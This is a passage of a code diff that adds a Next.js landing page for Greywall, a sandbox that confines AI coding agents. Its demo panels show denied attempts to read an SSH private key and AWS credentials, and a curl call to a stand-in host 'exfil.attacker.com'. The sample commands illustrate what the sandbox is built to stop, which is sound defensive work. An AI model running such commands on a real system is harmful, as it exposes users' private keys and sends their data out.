>
{copied ? (
<Check className="h-4 w-4 text-primary" />
) : (
<Copy className="h-4 w-4" />
)}
</button>
</div>
</div>
{/* Quick proof */}
<div className="mt-12 mx-auto max-w-2xl">
<div className="code-block p-5 text-left">
<div className="text-xs text-muted-foreground mb-3 font-sans uppercase tracking-wider">
Kernel-enforced isolation
</div>
<div className="space-y-2 font-mono text-sm">
<div>
<span className="text-muted-foreground">$ </span>
<span className="text-greyhaven-offwhite">greywall -- cat ~/.ssh/id_ed25519</span>
</div>
<div className="text-red-400/90">
cat: /home/user/.ssh/id_ed25519: Operation not permitted
</div>
<div className="mt-3">
<span className="text-muted-foreground">$ </span>
<span className="text-greyhaven-offwhite">greywall -- curl https://exfil.attacker.com</span>
</div>
<div className="text-red-400/90">
curl: (7) Failed to connect: Connection refused
</div>
<div className="mt-3">
<span className="text-muted-foreground">$ </span>
<span className="text-greyhaven-offwhite">greywall -- ls ./my-project/</span>
</div>
<div className="text-green-400/80">
src/ package.json README.md tsconfig.json
</div>
</div>
</div>
</div>
</div>
</section>
)
}

168
components/layers.tsx Normal file
View File

@@ -0,0 +1,168 @@
'use client'
import { Box, Lock, ShieldCheck, Eye, Wifi, Layers as LayersIcon, Shield, AppWindow, Terminal } from 'lucide-react'
import { PlatformToggle, usePlatform } from './platform-toggle'
const linuxLayers = [
{
icon: Box,
name: 'Bubblewrap',
tag: 'Namespaces',
desc: 'Process, network, and mount isolation via Linux namespaces. The foundational containment layer that creates a fully isolated process environment.',
detail: 'Linux 3.8+',
},
{
icon: Lock,
name: 'Landlock',
tag: 'Filesystem',
desc: 'Kernel-level filesystem access control. Enforces granular read/write permissions below userspace — processes cannot escalate their own access.',
detail: 'Linux 5.13+',
},
{
icon: ShieldCheck,
name: 'Seccomp BPF',
tag: 'Syscalls',
desc: 'Blocks 27 dangerous system calls at the kernel boundary — ptrace, mount, kexec, module loading, and BPF manipulation are all denied.',
detail: 'Linux 3.5+',
},
{
icon: Eye,
name: 'eBPF Monitoring',
tag: 'Visibility',
desc: 'Traces syscall exits in real time across all layers. Every permission denial is captured instantly with full context — process, path, and reason.',
detail: 'Linux 4.15+',
},
{
icon: Wifi,
name: 'TUN + SOCKS5 Proxy',
tag: 'Network',
desc: 'Transparent network capture at the kernel level via TUN device. All TCP/UDP traffic is routed through the proxy — even binaries that ignore env vars.',
detail: 'Any kernel',
},
]
const macosLayers = [
{
icon: Shield,
name: 'Seatbelt Sandbox',
tag: 'Core',
desc: 'macOS kernel sandbox with dynamically generated profiles. Default-deny policy with explicit allowlists for filesystem, network, IPC, and process operations.',
detail: 'macOS native',
},
{
icon: Lock,
name: 'Filesystem Policy',
tag: 'Filesystem',
desc: 'Fine-grained read/write rules using literal paths, subpath matching, and regex patterns. Sensitive files like SSH keys and .env are always protected.',
detail: 'Seatbelt rules',
},
{
icon: AppWindow,
name: 'Mach IPC Control',
tag: 'IPC',
desc: 'Allowlist of safe Mach IPC services. Prevents sandboxed processes from communicating with privileged system services outside the policy boundary.',
detail: 'Service allowlist',
},
{
icon: Terminal,
name: 'Log Stream Monitor',
tag: 'Visibility',
desc: 'Session-tagged violation monitoring via macOS log stream. Every denied operation is captured in real time with the process and path that triggered it.',
detail: 'macOS native',
},
{
icon: Wifi,
name: 'Proxy-Based Network',
tag: 'Network',
desc: 'Outbound traffic routed through proxy via environment variables. Combined with Seatbelt network rules to block raw socket access and direct connections.',
detail: 'Env var proxy',
},
]
export function Layers() {
const [platform] = usePlatform()
const layers = platform === 'linux' ? linuxLayers : macosLayers
return (
<section id="features" className="py-24 px-6 border-t border-border/30">
<div className="mx-auto max-w-5xl">
<div className="flex flex-col sm:flex-row sm:items-end sm:justify-between gap-6 mb-16">
<div className="max-w-2xl">
<div className="flex items-center gap-2 mb-4">
<LayersIcon className="h-4 w-4 text-primary" />
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
Defense in depth
</span>
</div>
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
{platform === 'linux' ? 'Five orthogonal security layers.' : 'Kernel-enforced on every call.'}
</h2>
<p className="text-muted-foreground font-serif text-lg leading-relaxed">
{platform === 'linux'
? 'Each layer operates independently. A bug in one is caught by another. No single point of failure — every constraint is enforced at the kernel level.'
: 'macOS Seatbelt enforces deny-by-default policies before any syscall completes. The sandbox profile is generated per-session with rules tailored to your project.'}
</p>
</div>
<PlatformToggle />
</div>
<div className="space-y-3">
{layers.map((layer) => (
<div
key={layer.name}
className="layer-card group flex items-start gap-5 p-5 rounded-lg border border-border/40 bg-card/30 hover:border-primary/20"
>
<div className="shrink-0 flex items-center justify-center w-10 h-10 rounded-md bg-primary/10 text-primary">
<layer.icon className="h-5 w-5" />
</div>
<div className="flex-1 min-w-0">
<div className="flex items-center gap-3 mb-1.5">
<h3 className="font-sans font-semibold text-sm text-foreground">
{layer.name}
</h3>
<span className="px-2 py-0.5 rounded text-[10px] font-sans font-medium uppercase tracking-wider bg-primary/10 text-primary">
{layer.tag}
</span>
</div>
<p className="text-sm text-muted-foreground font-serif leading-relaxed">
{layer.desc}
</p>
</div>
<div className="shrink-0 text-right hidden sm:block">
<span className="text-[10px] font-mono text-muted-foreground">
{layer.detail}
</span>
</div>
</div>
))}
</div>
<div className="mt-8 p-5 rounded-lg border border-primary/15 bg-primary/[0.03]">
<p className="text-sm text-muted-foreground font-serif leading-relaxed">
{platform === 'linux' ? (
<>
<span className="text-primary font-medium">Graceful degradation.</span>{' '}
Greywall detects kernel features at runtime and activates every layer your system
supports. Run{' '}
<code className="font-mono text-xs text-foreground bg-card/50 px-1.5 py-0.5 rounded">
greywall --linux-features
</code>{' '}
to see what&apos;s available.
</>
) : (
<>
<span className="text-primary font-medium">No dependencies.</span>{' '}
macOS sandboxing uses only built-in OS capabilities no packages to install.
Run{' '}
<code className="font-mono text-xs text-foreground bg-card/50 px-1.5 py-0.5 rounded">
greywall check
</code>{' '}
to verify your setup.
</>
)}
</p>
</div>
</div>
</section>
)
}

48
components/nav.tsx Normal file
View File

@@ -0,0 +1,48 @@
export function Nav() {
return (
<nav className="fixed top-0 left-0 right-0 z-50 border-b border-border/50 bg-background/80 backdrop-blur-md">
<div className="mx-auto max-w-5xl flex items-center justify-between px-6 h-14">
<a href="#" className="flex items-center gap-2.5 group">
{/* Greywall shield logo */}
<svg viewBox="0 0 32 32" fill="none" className="h-6 w-6" xmlns="http://www.w3.org/2000/svg">
<path d="M16 2L4 7V15C4 22.18 9.11 28.79 16 30C22.89 28.79 28 22.18 28 15V7L16 2Z" fill="#D95E2A" />
<path d="M16 6L8 9.5V15C8 20.05 11.42 24.68 16 26C20.58 24.68 24 20.05 24 15V9.5L16 6Z" fill="#161614" />
<circle cx="16" cy="12" r="2" fill="#D95E2A" />
<circle cx="12" cy="17" r="1.5" fill="#D95E2A" />
<circle cx="20" cy="17" r="1.5" fill="#D95E2A" />
<circle cx="16" cy="21" r="1.5" fill="#D95E2A" />
<path d="M16 14V19.5M14 16L12.5 17M18 16L19.5 17" stroke="#D95E2A" strokeWidth="1" strokeLinecap="round" />
</svg>
<span className="font-serif font-semibold text-lg tracking-tight text-foreground">
Greywall
</span>
</a>
<div className="flex items-center gap-6">
<a
href="#features"
className="text-sm text-muted-foreground hover:text-foreground transition-colors hidden sm:block"
>
Features
</a>
<a
href="#comparison"
className="text-sm text-muted-foreground hover:text-foreground transition-colors hidden sm:block"
>
Compare
</a>
<a
href="https://github.com/GreyhavenHQ/greywall"
target="_blank"
rel="noopener noreferrer"
className="text-sm text-muted-foreground hover:text-foreground transition-colors flex items-center gap-1.5"
>
<svg className="h-4 w-4" fill="currentColor" viewBox="0 0 24 24">
<path d="M12 0c-6.626 0-12 5.373-12 12 0 5.302 3.438 9.8 8.207 11.387.599.111.793-.261.793-.577v-2.234c-3.338.726-4.033-1.416-4.033-1.416-.546-1.387-1.333-1.756-1.333-1.756-1.089-.745.083-.729.083-.729 1.205.084 1.839 1.237 1.839 1.237 1.07 1.834 2.807 1.304 3.492.997.107-.775.418-1.305.762-1.604-2.665-.305-5.467-1.334-5.467-5.931 0-1.311.469-2.381 1.236-3.221-.124-.303-.535-1.524.117-3.176 0 0 1.008-.322 3.301 1.23.957-.266 1.983-.399 3.003-.404 1.02.005 2.047.138 3.006.404 2.291-1.552 3.297-1.23 3.297-1.23.653 1.653.242 2.874.118 3.176.77.84 1.235 1.911 1.235 3.221 0 4.609-2.807 5.624-5.479 5.921.43.372.823 1.102.823 2.222v3.293c0 .319.192.694.801.576 4.765-1.589 8.199-6.086 8.199-11.386 0-6.627-5.373-12-12-12z" />
</svg>
<span className="hidden sm:inline">GitHub</span>
</a>
</div>
</div>
</nav>
)
}

View File

@@ -0,0 +1,127 @@
'use client'
import { Eye, Activity, ShieldQuestion, Zap } from 'lucide-react'
import { usePlatform } from './platform-toggle'
export function Observability() {
const [platform] = usePlatform()
return (
<section className="py-24 px-6 border-t border-border/30">
<div className="mx-auto max-w-5xl">
<div className="max-w-2xl mb-16">
<div className="flex items-center gap-2 mb-4">
<Eye className="h-4 w-4 text-primary" />
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
Clarity
</span>
</div>
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
Watch it reach. Then decide.
</h2>
<p className="text-muted-foreground font-serif text-lg leading-relaxed">
You can&apos;t predict what your agent will access. Greywall makes every filesystem
operation and network connection visible in real time so you make informed decisions
instead of guessing policies upfront.
</p>
</div>
<div className="grid grid-cols-1 md:grid-cols-2 gap-6">
{/* Monitor mode */}
<div className="space-y-4">
<div className="flex items-center gap-3">
<div className="flex items-center justify-center w-8 h-8 rounded-md bg-primary/10 text-primary">
<Activity className="h-4 w-4" />
</div>
<h3 className="font-sans font-semibold text-sm">
{platform === 'linux' ? 'eBPF violation tracing' : 'Log stream monitoring'}
</h3>
</div>
<div className="code-block p-4">
<div className="text-xs text-muted-foreground mb-3 font-sans uppercase tracking-wider">
{platform === 'linux' ? 'Real-time syscall tracing' : 'Session-tagged violation stream'}
</div>
<div className="space-y-1.5 font-mono text-xs">
<div>
<span className="text-muted-foreground">$ </span>
<span className="text-greyhaven-offwhite">greywall -m -- claude</span>
</div>
<div className="mt-2 text-muted-foreground">
[14:23:01] <span className="text-red-400/80">DENY</span>{' '}
<span className="text-greyhaven-offwhite">read</span>{' '}
~/.ssh/id_ed25519
</div>
<div className="text-muted-foreground">
[14:23:01] <span className="text-red-400/80">DENY</span>{' '}
<span className="text-greyhaven-offwhite">read</span>{' '}
~/.aws/credentials
</div>
<div className="text-muted-foreground">
[14:23:02] <span className="text-red-400/80">DENY</span>{' '}
<span className="text-greyhaven-offwhite">write</span>{' '}
~/.bashrc
</div>
<div className="text-muted-foreground">
[14:23:03] <span className="text-green-400/70">ALLOW</span>{' '}
<span className="text-greyhaven-offwhite">read</span>{' '}
./src/index.ts
</div>
<div className="text-muted-foreground">
[14:23:03] <span className="text-green-400/70">ALLOW</span>{' '}
<span className="text-greyhaven-offwhite">write</span>{' '}
./src/utils.ts
</div>
</div>
</div>
</div>
{/* GreyProxy screenshot */}
<div className="space-y-4">
<div className="flex items-center gap-3">
<div className="flex items-center justify-center w-8 h-8 rounded-md bg-primary/10 text-primary">
<Eye className="h-4 w-4" />
</div>
<h3 className="font-sans font-semibold text-sm">GreyProxy dashboard</h3>
</div>
<div className="rounded-lg border border-border/40 overflow-hidden">
<img
src="/greyproxy.png"
alt="GreyProxy dashboard showing pending network requests with Allow and Deny controls"
className="w-full h-auto"
/>
</div>
</div>
</div>
{/* Value props */}
<div className="mt-8 grid grid-cols-1 md:grid-cols-3 gap-4">
<div className="p-5 rounded-lg border border-border/40 bg-card/30">
<ShieldQuestion className="h-4 w-4 text-primary mb-3" />
<h4 className="font-sans font-medium text-sm mb-1">Answer hard questions</h4>
<p className="text-xs text-muted-foreground font-serif leading-relaxed">
What did the agent see? What did it access? What was denied? Greywall makes these
questions answerable for any session, at any time, after the fact.
</p>
</div>
<div className="p-5 rounded-lg border border-border/40 bg-card/30">
<Zap className="h-4 w-4 text-primary mb-3" />
<h4 className="font-sans font-medium text-sm mb-1">Move faster, safely</h4>
<p className="text-xs text-muted-foreground font-serif leading-relaxed">
Once you can see what agents do and control it without breaking flow, you stop
hesitating. Longer autonomous runs, more sub-agents, faster iteration on sensitive
workloads.
</p>
</div>
<div className="p-5 rounded-lg border border-border/40 bg-card/30">
<Activity className="h-4 w-4 text-primary mb-3" />
<h4 className="font-sans font-medium text-sm mb-1">Operate, don&apos;t hope</h4>
<p className="text-xs text-muted-foreground font-serif leading-relaxed">
Observability is the difference between operating AI and hoping AI operates.
Security becomes an enabler of velocity, not a constraint on it.
</p>
</div>
</div>
</div>
</section>
)
}

View File

@@ -0,0 +1,60 @@
'use client'
import { createContext, useContext, useState, useEffect, type ReactNode } from 'react'
export type Platform = 'linux' | 'macos'
const PlatformContext = createContext<{
platform: Platform
setPlatform: (p: Platform) => void
}>({ platform: 'linux', setPlatform: () => {} })
export function PlatformProvider({ children }: { children: ReactNode }) {
const [platform, setPlatform] = useState<Platform>('linux')
useEffect(() => {
if (navigator.userAgent.includes('Mac')) {
setPlatform('macos')
}
}, [])
return (
<PlatformContext.Provider value={{ platform, setPlatform }}>
{children}
</PlatformContext.Provider>
)
}
export function usePlatform() {
const { platform, setPlatform } = useContext(PlatformContext)
return [platform, setPlatform] as const
}
export function PlatformToggle() {
const [platform, setPlatform] = usePlatform()
return (
<div className="inline-flex items-center rounded-lg border border-border/50 bg-card/30 p-0.5">
<button
onClick={() => setPlatform('linux')}
className={`px-4 py-1.5 rounded-md text-xs font-sans font-medium transition-all ${
platform === 'linux'
? 'bg-primary text-primary-foreground shadow-sm'
: 'text-muted-foreground hover:text-foreground'
}`}
>
Linux
</button>
<button
onClick={() => setPlatform('macos')}
className={`px-4 py-1.5 rounded-md text-xs font-sans font-medium transition-all ${
platform === 'macos'
? 'bg-primary text-primary-foreground shadow-sm'
: 'text-muted-foreground hover:text-foreground'
}`}
>
macOS
</button>
</div>
)
}

75
components/problem.tsx Normal file
View File

@@ -0,0 +1,75 @@
import { AlertTriangle, KeyRound, Globe, FolderOpen, FileCode } from 'lucide-react'
const exposures = [
{
icon: KeyRound,
path: '~/.ssh/',
label: 'SSH keys',
desc: 'Private keys, known hosts, agent configs',
},
{
icon: Globe,
path: '~/.aws/',
label: 'Cloud credentials',
desc: 'AWS tokens, GCP configs, Azure secrets',
},
{
icon: FileCode,
path: '.env',
label: 'Environment secrets',
desc: 'API keys, database URLs, auth tokens',
},
{
icon: FolderOpen,
path: '~/*',
label: 'Full filesystem',
desc: 'Every repo, document, and config file',
},
]
export function Problem() {
return (
<section className="py-24 px-6 border-t border-border/30">
<div className="mx-auto max-w-5xl">
<div className="max-w-2xl mb-16">
<div className="flex items-center gap-2 mb-4">
<AlertTriangle className="h-4 w-4 text-primary" />
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
The problem
</span>
</div>
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
Every agent inherits everything.
</h2>
<p className="text-muted-foreground font-serif text-lg leading-relaxed">
AI coding agents run as your user. They see your SSH keys, cloud tokens, env files, and
entire home directory. The model decides what to access at runtime guided by weights
you didn&apos;t train, at machine speed. One wrong inference is all it takes.
</p>
</div>
<div className="grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-4 gap-4">
{exposures.map((item) => (
<div
key={item.path}
className="group p-5 rounded-lg border border-border/40 bg-card/30 hover:border-destructive/30 hover:bg-destructive/[0.03] transition-all"
>
<item.icon className="h-5 w-5 text-muted-foreground group-hover:text-destructive/70 mb-3 transition-colors" />
<code className="text-sm font-mono text-foreground block mb-1">{item.path}</code>
<p className="text-xs text-muted-foreground font-sans">{item.desc}</p>
</div>
))}
</div>
<div className="mt-10 p-5 rounded-lg border border-border/30 bg-card/20">
<p className="text-sm text-muted-foreground font-serif leading-relaxed">
<span className="text-foreground font-medium">Most setups rely on promises</span>
trust the model provider&apos;s policies, trust the application code, trust that the
agent respects boundaries. Greywall replaces trust with enforcement. Constraints are
applied at the kernel level, below anything the agent or model can circumvent.
</p>
</div>
</div>
</section>
)
}

6
lib/utils.ts Normal file
View File

@@ -0,0 +1,6 @@
import { clsx, type ClassValue } from 'clsx'
import { twMerge } from 'tailwind-merge'
export function cn(...inputs: ClassValue[]) {
return twMerge(clsx(inputs))
}

17
next.config.mjs Normal file
View File

@@ -0,0 +1,17 @@
/** @type {import('next').NextConfig} */
const nextConfig = {
typescript: {
ignoreBuildErrors: true,
},
images: {
unoptimized: true,
remotePatterns: [
{
protocol: 'https',
hostname: 'github.com',
},
],
},
}
export default nextConfig

1721
package-lock.json generated Normal file

File diff suppressed because it is too large Load Diff

30
package.json Normal file
View File

@@ -0,0 +1,30 @@
{
"name": "greywall-landing-page",
"version": "0.1.0",
"private": true,
"scripts": {
"build": "next build",
"dev": "next dev",
"start": "next start"
},
"dependencies": {
"class-variance-authority": "^0.7.1",
"clsx": "^2.1.1",
"lucide-react": "^0.454.0",
"next": "16.0.10",
"next-themes": "^0.4.6",
"react": "19.2.0",
"react-dom": "19.2.0",
"tailwind-merge": "^3.3.1"
},
"devDependencies": {
"@tailwindcss/postcss": "^4.1.9",
"@types/node": "^22",
"@types/react": "^19",
"@types/react-dom": "^19",
"postcss": "^8.5",
"tailwindcss": "^4.1.9",
"tw-animate-css": "1.3.3",
"typescript": "^5"
}
}

8
postcss.config.mjs Normal file
View File

@@ -0,0 +1,8 @@
/** @type {import('postcss-load-config').Config} */
const config = {
plugins: {
'@tailwindcss/postcss': {},
},
}
export default config

BIN
public/apple-icon.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.6 KiB

0
public/favicon.ico Normal file
View File

BIN
public/greyproxy.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 203 KiB

BIN
public/icon-dark-32x32.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 585 B

BIN
public/icon-light-32x32.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 566 B

24
public/icon.svg Normal file
View File

@@ -0,0 +1,24 @@
<svg viewBox="0 0 32 32" fill="none" xmlns="http://www.w3.org/2000/svg">
<!-- Shield shape -->
<path
d="M16 2L4 7V15C4 22.18 9.11 28.79 16 30C22.89 28.79 28 22.18 28 15V7L16 2Z"
fill="#D95E2A"
/>
<!-- Inner geometric pattern -->
<path
d="M16 6L8 9.5V15C8 20.05 11.42 24.68 16 26C20.58 24.68 24 20.05 24 15V9.5L16 6Z"
fill="#161614"
/>
<!-- Data nodes -->
<circle cx="16" cy="12" r="2" fill="#D95E2A" />
<circle cx="12" cy="17" r="1.5" fill="#D95E2A" />
<circle cx="20" cy="17" r="1.5" fill="#D95E2A" />
<circle cx="16" cy="21" r="1.5" fill="#D95E2A" />
<!-- Connection lines -->
<path
d="M16 14V19.5M14 16L12.5 17M18 16L19.5 17"
stroke="#D95E2A"
stroke-width="1"
stroke-linecap="round"
/>
</svg>

After

Width:  |  Height:  |  Size: 756 B

BIN
screenshots/greyproxy.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 203 KiB

41
tsconfig.json Normal file
View File

@@ -0,0 +1,41 @@
{
"compilerOptions": {
"lib": [
"dom",
"dom.iterable",
"esnext"
],
"allowJs": true,
"target": "ES6",
"skipLibCheck": true,
"strict": true,
"noEmit": true,
"esModuleInterop": true,
"module": "esnext",
"moduleResolution": "bundler",
"resolveJsonModule": true,
"isolatedModules": true,
"jsx": "react-jsx",
"incremental": true,
"plugins": [
{
"name": "next"
}
],
"paths": {
"@/*": [
"./*"
]
}
},
"include": [
"next-env.d.ts",
"**/*.ts",
"**/*.tsx",
".next/types/**/*.ts",
".next/dev/types/**/*.ts"
],
"exclude": [
"node_modules"
]
}